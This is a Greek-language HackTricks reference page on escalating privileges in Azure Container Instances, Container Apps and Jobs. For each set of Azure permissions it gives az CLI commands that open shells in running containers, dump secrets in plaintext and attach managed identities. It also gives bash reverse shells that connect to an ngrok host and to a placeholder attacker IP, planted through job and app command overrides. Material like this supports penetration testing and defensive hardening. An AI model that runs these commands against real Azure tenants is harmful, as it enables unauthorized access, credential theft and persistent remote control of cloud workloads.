Az - Azure Container Instances, Apps & Jobs Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Azure Container Instances, Apps & Jobs

Για περισσότερες πληροφορίες ελέγξτε:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Αυτές οι άδειες επιτρέπουν στον χρήστη να εκτελέσει μια εντολή σε ένα τρέχον κοντέινερ. Αυτό μπορεί να χρησιμοποιηθεί για να κλιμακώσει προνόμια στο κοντέινερ αν έχει οποιαδήποτε διαχειριζόμενη ταυτότητα συνδεδεμένη. Φυσικά, είναι επίσης δυνατό να αποκτήσετε πρόσβαση στον πηγαίο κώδικα και σε οποιαδήποτε άλλη ευαίσθητη πληροφορία αποθηκευμένη μέσα στο κοντέινερ.

Για να αποκτήσετε ένα shell είναι τόσο απλό όσο:

az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Είναι επίσης δυνατό να διαβάσετε την έξοδο του κοντέινερ με:

az container attach --name <container-name> --resource-group <res-group>

Ή αποκτήστε τα αρχεία καταγραφής με:

az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Αυτές οι άδειες επιτρέπουν να συνδεθεί μια διαχειριζόμενη ταυτότητα χρήστη σε μια ομάδα κοντέινερ. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ.

Για να συνδέσετε μια διαχειριζόμενη ταυτότητα χρήστη σε μια ομάδα κοντέινερ:

az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Αυτές οι άδειες επιτρέπουν να δημιουργηθεί ή να ενημερωθεί μια ομάδα κοντέινερ με μια ταυτότητα διαχειριζόμενη από τον χρήστη συνδεδεμένη σε αυτήν. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση προνομίων στο κοντέινερ.

az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Επιπλέον, είναι επίσης δυνατό να ενημερώσετε μια υπάρχουσα ομάδα κοντέινερ προσθέτοντας για παράδειγμα το --command-line επιχείρημα με ένα reverse shell.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Αυτές οι άδειες επιτρέπουν στον χρήστη να λάβει ένα shell σε ένα τρέχον κοντέινερ εφαρμογής. Αυτό μπορεί να χρησιμοποιηθεί για να κλιμακώσει προνόμια στο κοντέινερ αν έχει οποιαδήποτε διαχειριζόμενη ταυτότητα συνδεδεμένη. Φυσικά, είναι επίσης δυνατό να αποκτήσετε πρόσβαση στον πηγαίο κώδικα και σε οποιαδήποτε άλλη ευαίσθητη πληροφορία που είναι αποθηκευμένη μέσα στο κοντέινερ.

az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Αυτή η άδεια επιτρέπει την απόκτηση του καθαρού κειμένου των μυστικών που έχουν ρυθμιστεί μέσα σε μια εφαρμογή κοντέινερ. Σημειώστε ότι τα μυστικά μπορούν να ρυθμιστούν με το καθαρό κείμενο ή με έναν σύνδεσμο σε ένα key vault (σε αυτή την περίπτωση, η εφαρμογή θα έχει ανατεθεί μια διαχειριζόμενη ταυτότητα με πρόσβαση στα μυστικά).

az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Αυτές οι άδειες επιτρέπουν να συνδεθεί μια ταυτότητα που διαχειρίζεται ο χρήστης σε μια εφαρμογή κοντέινερ. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση των δικαιωμάτων στο κοντέινερ. Η εκτέλεση αυτής της ενέργειας από το az cli απαιτεί επίσης την άδεια Microsoft.App/containerApps/listSecrets/action.

Για να συνδέσετε μια ταυτότητα που διαχειρίζεται ο χρήστης σε μια ομάδα κοντέινερ:

az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Αυτές οι άδειες επιτρέπουν να δημιουργηθεί ή να ενημερωθεί ένα κοντέινερ εφαρμογής με μια ταυτότητα διαχειριζόμενη από τον χρήστη συνδεδεμένη σε αυτό. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ.

# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

Tip

Σημειώστε ότι με αυτές τις άδειες άλλες ρυθμίσεις της εφαρμογής μπορούν να τροποποιηθούν, οι οποίες θα μπορούσαν να επιτρέψουν την εκτέλεση άλλων επιθέσεων privesc και post exploitation ανάλογα με τη ρύθμιση των υπαρχουσών εφαρμογών.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Αν και οι εργασίες δεν είναι μακροχρόνιες όπως οι εφαρμογές κοντέινερ, μπορείτε να εκμεταλλευτείτε την ικανότητα να παρακάμψετε τη ρύθμιση της εντολής της εργασίας κατά την εκκίνηση μιας εκτέλεσης. Δημιουργώντας ένα προσαρμοσμένο πρότυπο εργασίας (για παράδειγμα, αντικαθιστώντας την προεπιλεγμένη εντολή με ένα reverse shell), μπορείτε να αποκτήσετε πρόσβαση στο shell μέσα στο κοντέινερ που εκτελεί την εργασία.

# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Αν έχετε αυτές τις άδειες, μπορείτε να καταγράψετε όλα τα μυστικά (πρώτη άδεια) μέσα σε ένα Job container και στη συνέχεια να διαβάσετε τις τιμές των ρυθμισμένων μυστικών.

az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Αν έχετε άδεια να τροποποιήσετε τη διαμόρφωση ενός job, μπορείτε να συνδέσετε μια ταυτότητα διαχειριζόμενη από χρήστη. Αυτή η ταυτότητα μπορεί να έχει επιπλέον προνόμια (για παράδειγμα, πρόσβαση σε άλλους πόρους ή μυστικά) που μπορούν να εκμεταλλευτούν για να κλιμακώσουν τα προνόμια μέσα στο κοντέινερ.

az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Αν μπορείτε να δημιουργήσετε μια νέα εργασία Container Apps (ή να ενημερώσετε μια υπάρχουσα) και να συνδέσετε μια διαχειριζόμενη ταυτότητα, μπορείτε να σχεδιάσετε την εργασία ώστε να εκτελεί ένα payload που κλιμακώνει τα δικαιώματα. Για παράδειγμα, θα μπορούσατε να δημιουργήσετε μια νέα εργασία που όχι μόνο εκτελεί ένα reverse shell αλλά χρησιμοποιεί επίσης τα διαπιστευτήρια της διαχειριζόμενης ταυτότητας για να ζητήσει tokens ή να αποκτήσει πρόσβαση σε άλλους πόρους.

az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

Tip

Αυτή η εντολή θα προκαλέσει σφάλμα αν δεν έχετε την άδεια Microsoft.App/jobs/read, αν και η εργασία θα δημιουργηθεί.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Φαίνεται ότι με αυτές τις άδειες θα έπρεπε να είναι δυνατή η εκκίνηση μιας εργασίας. Αυτό θα μπορούσε να χρησιμοποιηθεί για να ξεκινήσει μια εργασία με ένα reverse shell ή οποιαδήποτε άλλη κακόβουλη εντολή χωρίς να χρειάζεται να τροποποιήσετε τη διαμόρφωση της εργασίας.

Δεν κατάφερα να το κάνω να λειτουργήσει, αλλά σύμφωνα με τις επιτρεπόμενες παραμέτρους θα έπρεπε να είναι δυνατό.

Microsoft.ContainerInstance/containerGroups/restart/action

Επιτρέπει την επανεκκίνηση μιας συγκεκριμένης ομάδας κοντέινερ εντός του Azure Container Instances.

az container restart --resource-group <resource-group> --name <container-instances>

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks